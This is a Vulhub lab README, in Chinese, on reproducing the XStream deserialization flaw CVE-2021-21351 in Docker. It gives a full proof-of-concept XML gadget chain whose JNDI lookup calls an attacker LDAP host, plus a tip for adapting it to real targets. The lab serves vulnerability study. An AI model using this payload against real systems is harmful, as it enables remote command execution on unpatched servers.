Aaron
63285f61aa
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
128 lines
5.2 KiB
Markdown
128 lines
5.2 KiB
Markdown
# XStream 反序列化命令执行漏洞（CVE-2021-21351）
|
||
|
||
XStream是一个轻量级、简单易用的开源Java类库，它主要用于将对象序列化成XML（JSON）或反序列化为对象。
|
||
|
||
XStream 在解析XML文本时使用黑名单机制来防御反序列化漏洞，但是其 1.4.15 及之前版本黑名单存在缺陷，攻击者可利用`javax.naming.ldap.Rdn$RdnEntry`及`javax.sql.rowset.BaseRowSet`构造JNDI注入，进而执行任意命令。
|
||
|
||
参考链接：
|
||
|
||
- https://x-stream.github.io/CVE-2021-21351.html
|
||
- https://paper.seebug.org/1543/
|
||
- https://www.veracode.com/blog/research/exploiting-jndi-injections-java
|
||
- https://github.com/welk1n/JNDI-Injection-Exploit/
|
||
|
||
## 漏洞环境
|
||
|
||
执行如下命令启动一个Springboot + XStream 1.4.15的环境：
|
||
|
||
```
|
||
docker compose up -d
|
||
```
|
||
|
||
环境启动后，我们向`http://your-ip:8080`发送一个正常的XML数据包，将会得到预期返回：
|
||
|
||
|
||
|
||
## 漏洞复现
|
||
|
||
由于目标环境Java版本高于8u191，故我们需要借助[这篇文章](https://www.veracode.com/blog/research/exploiting-jndi-injections-java)中给出的方法，使用`org.apache.naming.factory.BeanFactory`加EL表达式注入的方式来执行任意命令。
|
||
|
||
你可以使用[Java Chains](https://github.com/vulhub/java-chains)来进行漏洞复现，参考[快速入手](https://java-chains.vulhub.org/zh/docs/guide)启动 Java Chains。之后根据下图所示，选择设置要执行的命令为`touch /tmp/success`，生成JNDI LDAP URL Payload：
|
||
|
||
|
||
|
||
将以上 LDAP URL 作为`<dataSource>`的值，构造POC如下：
|
||
|
||
```
|
||
POST / HTTP/1.1
|
||
Host: localhost:8080
|
||
Accept-Encoding: gzip, deflate
|
||
Accept: */*
|
||
Accept-Language: en
|
||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
|
||
Connection: close
|
||
Content-Type: application/xml
|
||
Content-Length: 3181
|
||
|
||
<sorted-set>
|
||
<javax.naming.ldap.Rdn_-RdnEntry>
|
||
<type>ysomap</type>
|
||
<value class='com.sun.org.apache.xpath.internal.objects.XRTreeFrag'>
|
||
<m__DTMXRTreeFrag>
|
||
<m__dtm class='com.sun.org.apache.xml.internal.dtm.ref.sax2dtm.SAX2DTM'>
|
||
<m__size>-10086</m__size>
|
||
<m__mgrDefault>
|
||
<__overrideDefaultParser>false</__overrideDefaultParser>
|
||
<m__incremental>false</m__incremental>
|
||
<m__source__location>false</m__source__location>
|
||
<m__dtms>
|
||
<null/>
|
||
</m__dtms>
|
||
<m__defaultHandler/>
|
||
</m__mgrDefault>
|
||
<m__shouldStripWS>false</m__shouldStripWS>
|
||
<m__indexing>false</m__indexing>
|
||
<m__incrementalSAXSource class='com.sun.org.apache.xml.internal.dtm.ref.IncrementalSAXSource_Xerces'>
|
||
<fPullParserConfig class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'>
|
||
<javax.sql.rowset.BaseRowSet>
|
||
<default>
|
||
<concurrency>1008</concurrency>
|
||
<escapeProcessing>true</escapeProcessing>
|
||
<fetchDir>1000</fetchDir>
|
||
<fetchSize>0</fetchSize>
|
||
<isolation>2</isolation>
|
||
<maxFieldSize>0</maxFieldSize>
|
||
<maxRows>0</maxRows>
|
||
<queryTimeout>0</queryTimeout>
|
||
<readOnly>true</readOnly>
|
||
<rowSetType>1004</rowSetType>
|
||
<showDeleted>false</showDeleted>
|
||
<dataSource>ldap://java-chains-ip:50389/x</dataSource>
|
||
<listeners/>
|
||
<params/>
|
||
</default>
|
||
</javax.sql.rowset.BaseRowSet>
|
||
<com.sun.rowset.JdbcRowSetImpl>
|
||
<default/>
|
||
</com.sun.rowset.JdbcRowSetImpl>
|
||
</fPullParserConfig>
|
||
<fConfigSetInput>
|
||
<class>com.sun.rowset.JdbcRowSetImpl</class>
|
||
<name>setAutoCommit</name>
|
||
<parameter-types>
|
||
<class>boolean</class>
|
||
</parameter-types>
|
||
</fConfigSetInput>
|
||
<fConfigParse reference='../fConfigSetInput'/>
|
||
<fParseInProgress>false</fParseInProgress>
|
||
</m__incrementalSAXSource>
|
||
<m__walker>
|
||
<nextIsRaw>false</nextIsRaw>
|
||
</m__walker>
|
||
<m__endDocumentOccured>false</m__endDocumentOccured>
|
||
<m__idAttributes/>
|
||
<m__textPendingStart>-1</m__textPendingStart>
|
||
<m__useSourceLocationProperty>false</m__useSourceLocationProperty>
|
||
<m__pastFirstElement>false</m__pastFirstElement>
|
||
</m__dtm>
|
||
<m__dtmIdentity>1</m__dtmIdentity>
|
||
</m__DTMXRTreeFrag>
|
||
<m__dtmRoot>1</m__dtmRoot>
|
||
<m__allowRelease>false</m__allowRelease>
|
||
</value>
|
||
</javax.naming.ldap.Rdn_-RdnEntry>
|
||
<javax.naming.ldap.Rdn_-RdnEntry>
|
||
<type>ysomap</type>
|
||
<value class='com.sun.org.apache.xpath.internal.objects.XString'>
|
||
<m__obj class='string'>test</m__obj>
|
||
</value>
|
||
</javax.naming.ldap.Rdn_-RdnEntry>
|
||
</sorted-set>
|
||
```
|
||
|
||
然后，进入目标容器内，可见`touch /tmp/success`已成功执行：
|
||
|
||
|
||
|
||
在实战中，如果目标Java版本较低，POC需要做修改，将其中的`<__overrideDefaultParser>false</__overrideDefaultParser>`改成`<__useServicesMechanism>false</__useServicesMechanism>`即可。
|